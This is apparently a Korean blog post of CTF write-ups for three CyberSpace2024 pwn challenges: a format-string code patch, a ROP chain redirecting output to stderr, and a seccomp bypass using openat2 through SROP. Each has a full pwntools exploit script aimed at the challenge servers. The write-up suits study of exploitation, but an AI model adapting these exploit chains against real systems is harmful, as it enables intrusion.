CyberSpace2024 writeup

dandb3·2024년 9월 2일
0

writeup

목록 보기
6/8

Byte Modification Service

분석

보호기법

partial RELRO, No PIE이다.

sys_mprotect()

sys_mprotect() syscall을 이용해서 code 영역의 일부의 권한을 rwx로 바꾼다.

vuln()

v0로 부터 v3만큼 떨어진 위치의 데이터를 읽어 1바이트만큼 원하는 데이터와 xor 시킨다.

즉, 스택에서 원하는 위치에 있는 값을 읽어와서 그 중 1바이트를 수정할 수 있다.

그 후 printf() 함수에서 FSB가 발생한다.

win()

flag 값을 읽어와서 출력해 준다.
코드의 흐름을 이 함수로 변경해 주면 될 듯하다.

stack 구조

vuln 함수 내부에서의 스택 구조는 위와 같다.
잘 보면, rsp + 0x38 위치에 text 영역(특히 rwx가 가능한 영역) 의 주소가 적혀있는 것을 확인할 수 있다.

또한, 이 0x4014de의 주소에서 1바이트만큼을 xor을 통해 수정한 후, FSB를 응용하면 실제 코드를 원하는 값으로 변경할 수 있을 것이다.

그런데 주소값은 1바이트만 수정이 가능하므로, 0x4014xx 주소의 코드만 FSB의 대상으로 할 수 있다.

target address

어떤 주소의 코드를 바꿀 수 있을까?
어쨌든 0x4014xx의 코드만 수정이 가능하고(사실 잘 쓰면 다른 코드 영역도 수정이 가능해 보이긴 하지만 여기서는 넘긴다.), printf() 호출 이후에 실행되는 코드를 수정하면 될 것이다.

objdump를 해서 살펴보자.

call bye 부분의 코드를 call win으로 바꾸면 될 것 같다.
우선 여기서 알아야 하는 점은, jmpcall 명령어의 경우, 기계어가 절대주소값이 쓰이지 않고, rip를 기준으로 offset 값으로 쓰이게 된다.
위 코드에서 call bye 부분을 보면,
e8 d6 fd ff ff으로, 사실 call rip + 0xfffffdd6과 동일하다.
그러므로, 이 offset 바이트를 FSB를 통해 바꾸면 될 것이다.

exploit code

from pwn import *

# r = process("./chall")
r = remote("byte-modification-service.challs.csc.tf", 1337)

# r.interactive()
r.sendlineafter(b"which stack position do you want to use?\n", b"7")
r.sendlineafter(b"Byte Index?\n", b"0")
r.sendlineafter(b"xor with?\n", b"97")
r.sendafter(b"finally, do you have any feedback? it will surely help us improve our service.\n", b"%247c%9$hhnA@")
r.recvuntil(b"A")
r.interactive()

silent-rop-v2

분석

보호기법

No canary, No PIE이다.

init()

문제 이름에 걸맞게, 시작하자마자 stdout을 닫아버린다.

vuln()

0x400 크기의 BOF가 발생함을 알 수 있다.
No PIE 이므로, ROP를 사용하면 된다.

gift()

ROP 문제 답게, 필요한 여러 가젯들이 들어있다.

닫힌 stdout..?

stdout이 닫혔는데 exploit을 어떻게 할 수 있을까 생각하다가 stdout 대신 stderr를 dup2를 통해서 fd 1에도 열게 된다면 가능하지 않을까 생각했다.

실제로도 도커파일을 보면,

# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM ubuntu:20.04 as chroot

RUN /usr/sbin/useradd --no-create-home -u 1000 user

COPY flag /
COPY chal /home/user/

FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f

COPY --from=chroot / /chroot

COPY nsjail.cfg /home/user/

CMD kctf_setup && \
    kctf_drop_privs \
    socat \
      TCP-LISTEN:1337,reuseaddr,fork \
      EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -Q -- /home/user/chal",stderr

이렇게 마지막에 명시적으로 stderr를 유저에게 열어주는 것을 확인할 수 있다.

ROP 문제이기 때문에 자세한 풀이 방법은 직접 설명하기 보단, 아래 익스플로잇 코드로 대체한다. (쓰기 귀찮기도 하고..)

exploit code

from pwn import *

pop_rdi = 0x401293
pop_rsi_r15 = 0x401291
pop_rdx = 0x4011e2

add_rdi_rdx = 0x4011f6                      # add rdi, rdx ; ret
mov_rdi_qword_rdx = 0x4011e9                # mov rdi, QWORD PTR [rdx] ; ret
mov_qword_rsp_rdx_rdi = 0x4011fa            # mov QWORD PTR [rsp + rdx*1], rdi ; ret

read_got = 0x403fe0

payload = b"A" * 0x18
payload += p64(pop_rdx)
payload += p64(read_got)
payload += p64(mov_rdi_qword_rdx)
payload += p64(pop_rdx)
payload += p64(0x900)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx)
payload += p64(0x28)
payload += p64(mov_qword_rsp_rdx_rdi)
payload += p64(pop_rdi)
payload += p64(2)
payload += p64(pop_rsi_r15)
payload += p64(1)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(read_got)
payload += p64(mov_rdi_qword_rdx)
payload += p64(pop_rdx)
payload += p64(0xfffffffffff440b0)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx)
payload += p64(0x38)
payload += p64(mov_qword_rsp_rdx_rdi)
payload += p64(pop_rdx)
payload += p64(read_got)
payload += p64(mov_rdi_qword_rdx)
payload += p64(pop_rdx)
payload += p64(0xa63dd)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdi+1)

# r = process("./chal", env={"LD_PRELOAD":"./libc.so.6"})
r = remote("silent-rop-v2.challs.csc.tf", 1337)
r.send(payload)
r.interactive()

menu (업솔빙)

분석


엄청 큰 buffer overflow가 일어나는 문제이다.


checksec을 해 보면 결과는 위와 같다.

PIE leak


greeting() 함수를 보면 PIE의 base address에 대한 정보를 준다.
즉, 바이너리를 이용해서 ROP를 하면 되는 문제다.

seccomp

이 문제에는 seccomp가 걸려있는데, 다음과 같다.

즉, execve(), execveat()이 모두 안 되는 상태에서
open(), openat() 또한 막아놓았다.

처음에는 쉘도 실행이 안 될 것이고, open 할 수 있는 방법도 없기 때문에 적용된 seccomp를 수정하는 방향으로 가려고 했다.
그런데 한 번 seccomp 설정이 적용되고 나면 그 이후에는 수정을 할 수 없다고 한다.
그래서 이 방법은 실패했다.

나중에 안 건데, open 관련 syscall 중에 open(), openat() 말고도 최신에 나온 openat2()도 있다고 한다.
내가 찾아볼 때에는 없었는데, 찾아보는 링크의 버전 업이 되지 않았던 것 같다.

syscall의 버전 / 아키텍쳐 별 정보를 알고 싶다면 아래의 링크를 참고하면 될 것 같다.
https://syscalls.mebeim.net/?table=x86/64/x64/latest

libc leak

libc leak을 하기 위해 got의 주소를 넣어놓고, puts() 함수를 호출하려고 했다.
그런데 pop rdi 가젯이 없음..
이것저것 하다가 우연히 seccomp_load() 함수가 호출에 실패하면 rdi 값이 그대로 유지되는 것을 이용해서 exploit을 하였다.
하지만 remote에서는 libseccomp 버전이 달랐는지 되지는 않더라..

최신 libc에서는 printf() 함수의 리턴 후 rdi가 가리키는 값이 libc 내의 어떠한 변수를 가리키고 있다고 한다.

실제로 보면,,

위와 같이 rdi가 가리키는 주소에 funlockfile 변수가 저장되어 있는 것을 확인할 수 있다.
그래서 이 사실을 이용해서 printf() 호출 후 바로 puts()를 호출하게 된다면 libc leak이 가능하다.

이건 좀 별개이긴 한데, gets()를 이용해서 pop rdi를 대체하는 방법이라고 한다.
https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets

exploit code

from pwn import *

# r = process("./chal", env={"LD_PRELOAD":"./libc.so.6"})
r = remote("menu.challs.csc.tf", 1337)

r.recvuntil(b"\x1B[0;34m")
PIE_base = int(r.recvline()[:-1], 16) - 0x15fe

print(f"[+] PIE_base: {hex(PIE_base)}")

payload = b"A" * 0xd0
payload += p64(PIE_base + 0x4800 + 0xd0)                # stack pivot
payload += p64(PIE_base + 0x101a)                       # ret
payload += p64(PIE_base + 0x10f0)                       # printf@plt
payload += p64(PIE_base + 0x10d0)                       # puts@plt
payload += p64(PIE_base + 0x1703)                       # 1703:       48 8d 85 30 ff ff ff    lea    rax,[rbp-0xd0]
                                                        # 170a:       ba d0 07 00 00          mov    edx,0x7d0
                                                        # 170f:       48 89 c6                mov    rsi,rax
                                                        # 1712:       bf 00 00 00 00          mov    edi,0x0
                                                        # 1717:       e8 e4 f9 ff ff          call   1100 <read@plt>
                                                        # ...
                                                        # 173b:       leave
                                                        # 173c:       ret

r.recvuntil(b"What do you want to order today?\n")
# pause()
r.send(payload)

r.recvuntil(b"Your order is on its way!\n")

libc_base = u64(r.recvline()[:-1].ljust(8, b"\x00")) - 0x62050
print(f"[+] libc_base: {hex(libc_base)}")

pop_rdi = 0x2a3e5
pop_rsi = 0x2be51
pop_rdx_r12 = 0x11f2e7
syscall = 0x11e870                                      # libc syscall function

context.clear(arch="amd64")
frame = SigreturnFrame()
frame.rax = 0x1b5                                       # openat2
frame.rdi = -100                                        # AT_FDCWD
frame.rsi = PIE_base + 0x4800 + 0xd0                    # "./flag\x00\x00"
frame.rdx = PIE_base + 0x4800 + 0x600                   # unsigned long[3] = { NULL, NULL, NULL }
frame.r10 = 0x18                                        # size
frame.rip = libc_base + 0x11e88b                        # syscall
frame.rsp = PIE_base + 0x4800 + 0xf0 + len(frame)

payload = b"B" * 0xd0 # PIE_base + 0x4800
payload += b"./flag\x00\x00"
payload += p64(libc_base + pop_rdi)
payload += p64(0xf)
payload += p64(libc_base + syscall)
payload += bytes(frame)

payload += p64(libc_base + pop_rdi)                     # frame.rsp
payload += p64(3)
payload += p64(libc_base + pop_rsi)
payload += p64(PIE_base + 0x4800 + 0x600)
payload += p64(libc_base + pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(libc_base + 0x1147d0)
payload += p64(libc_base + pop_rdi)
payload += p64(1)
payload += p64(libc_base + 0x114870)

r.send(payload)
r.interactive()
profile
공부 내용 저장소

0개의 댓글